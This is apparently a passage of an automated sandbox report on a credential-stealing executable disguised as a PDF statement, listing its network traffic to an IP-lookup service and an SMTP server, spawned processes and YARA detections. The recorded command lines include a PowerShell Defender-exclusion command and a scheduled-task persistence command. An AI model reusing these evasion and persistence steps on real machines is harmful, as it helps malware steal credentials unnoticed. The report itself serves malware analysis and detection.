2024-04-26 07:02:03 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:02:03 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87a4b4822ee66dcd-MIA
2024-04-26 07:02:03 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 32 30 Data Ascii: 102.129.152.220

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49721	104.26.12.205	443	7176	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:02:13 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-26 07:02:14 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:02:13 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87a4b4c0ec08b3e9-MIA
2024-04-26 07:02:14 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 32 30 Data Ascii: 102.129.152.220

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49723	104.26.12.205	443	7364	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:02:21 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-04-26 07:02:22 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:02:22 GMT Content-Type: text/plain Content-Length: 15 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87a4b4f43f602878-MIA
2024-04-26 07:02:22 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 32 30 Data Ascii: 102.129.152.220

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Apr 26, 2024 09:02:00.184763908 CEST	587	49711	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:02:00 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:02:00.186783075 CEST	49711	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:02:00.383451939 CEST	587	49711	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:02:00.383615017 CEST	49711	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:02:00.581645012 CEST	587	49711	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:02:04.995862961 CEST	587	49713	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:02:04 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:02:04.996057987 CEST	49713	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:02:05.192907095 CEST	587	49713	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:02:05.193202019 CEST	49713	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:02:05.394184113 CEST	587	49713	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:02:15.062194109 CEST	587	49722	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:02:14 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:02:15.062402010 CEST	49722	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:02:15.259160995 CEST	587	49722	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:02:15.259377003 CEST	49722	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:02:15.457284927 CEST	587	49722	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:02:23.580065966 CEST	587	49724	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:02:23 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:02:23.580344915 CEST	49724	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:02:23.776743889 CEST	587	49724	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:02:23.776953936 CEST	49724	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:02:23.974812031 CEST	587	49724	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:03:38.543343067 CEST	587	49728	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:03:38 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:03:38.543483973 CEST	49728	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:03:38.624387026 CEST	587	49729	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:03:38 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:03:38.624552965 CEST	49729	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:03:38.739939928 CEST	587	49728	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:03:38.740134001 CEST	49728	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:03:38.820370913 CEST	587	49729	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:03:38.820543051 CEST	49729	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:03:38.937556982 CEST	587	49728	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:03:39.018364906 CEST	587	49729	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:03:46.414268017 CEST	587	49730	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:03:46 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:03:46.414396048 CEST	49730	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:03:46.611557007 CEST	587	49730	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:03:46.611768961 CEST	49730	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:03:46.809900045 CEST	587	49730	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:03:51.537533998 CEST	587	49731	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:03:51 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:03:51.537756920 CEST	49731	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:03:51.734724998 CEST	587	49731	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:03:51.734898090 CEST	49731	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:03:51.936153889 CEST	587	49731	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:03:56.566600084 CEST	587	49732	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:03:56 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:03:56.566752911 CEST	49732	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:03:56.763576031 CEST	587	49732	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:03:56.763776064 CEST	49732	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:03:56.961771011 CEST	587	49732	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:04:06.202986956 CEST	587	49733	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:04:06 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:04:06.204030991 CEST	49733	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:04:06.705445051 CEST	49733	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:04:07.038124084 CEST	587	49733	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:04:07.038494110 CEST	49733	587	192.168.2.5	50.87.195.61	STARTTLS
Apr 26, 2024 09:04:07.237658024 CEST	587	49733	50.87.195.61	192.168.2.5	220 TLS go ahead
Apr 26, 2024 09:04:09.286659956 CEST	587	49735	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:04:09 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:04:09.286797047 CEST	49735	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:04:09.298635960 CEST	587	49734	50.87.195.61	192.168.2.5	220-box2344.bluehost.com ESMTP Exim 4.96.2 #2 Fri, 26 Apr 2024 01:04:09 -0600 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 26, 2024 09:04:09.298736095 CEST	49734	587	192.168.2.5	50.87.195.61	EHLO 035347
Apr 26, 2024 09:04:09.483458042 CEST	587	49735	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Apr 26, 2024 09:04:09.495381117 CEST	587	49734	50.87.195.61	192.168.2.5	250-box2344.bluehost.com Hello 035347 [102.129.152.220] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP

Target ID:	0
Start time:	09:01:51
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"
Imagebase:	0x630000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2071533656.0000000003B69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2075260613.0000000005260000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2071533656.00000000048BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:01:55
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"
Imagebase:	0xd90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:01:55
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:01:55
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\eeBIYZL.exe"
Imagebase:	0xd90000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:01:55
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:01:55
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp"
Imagebase:	0x120000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:01:55
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:01:56
Start date:	26/04/2024
Path:	C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe"
Imagebase:	0x640000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.3282089409.000000000288C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.3273741870.0000000000435000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.3282089409.0000000002861000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.3282089409.0000000002861000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:01:57
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Roaming\eeBIYZL.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\eeBIYZL.exe
Imagebase:	0x90000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.2132450490.0000000003FAE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs Detection: 52%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:01:57
Start date:	26/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:02:01
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp"
Imagebase:	0x120000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:02:01
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:02:01
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Roaming\eeBIYZL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\eeBIYZL.exe"
Imagebase:	0x9e0000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.3282284281.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3282284281.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000E.00000002.3282284281.0000000002EAC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:02:06
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0xba0000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2229738944.0000000004BEC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs Detection: 52%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:02:11
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp9B5.tmp"
Imagebase:	0x120000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:02:11
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:02:11
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0x320000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:02:11
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0xeb0000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000014.00000002.3285357778.00000000034FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.3285357778.00000000034D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000014.00000002.3285357778.00000000034D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	09:02:16
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0x4b0000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000015.00000002.2316615219.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:02:20
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmp2ADA.tmp"
Imagebase:	0x120000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:02:20
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:02:20
Start date:	26/04/2024
Path:	C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe"
Imagebase:	0xde0000
File size:	722'944 bytes
MD5 hash:	7A6E9D01D9162C7537BA8091187E4235
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000018.00000002.3283970574.000000000323C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.3283970574.0000000003211000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000018.00000002.3283970574.0000000003211000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	260
Total number of Limit Nodes:	12

Executed Functions

Function 0D3B1D78 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078358468.000000000D3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0D3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d3b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e007c5a32e438aaf9caaa6e9a24bbaa79ce6a2b1ade1c1e5bf1761b1bb1aa1bc
Instruction ID: 3e27c8df7ce75e54155fa48e45443c53fc044589ef1b57c5fe0d2c0ac79c2244
Opcode Fuzzy Hash: e007c5a32e438aaf9caaa6e9a24bbaa79ce6a2b1ade1c1e5bf1761b1bb1aa1bc
Instruction Fuzzy Hash: A2C1DB717017008FDB26DB75C461BBEB7FAAF89300F14856EE24A9B691DB34D902C752

Uniqueness

Uniqueness Score: -1.00%

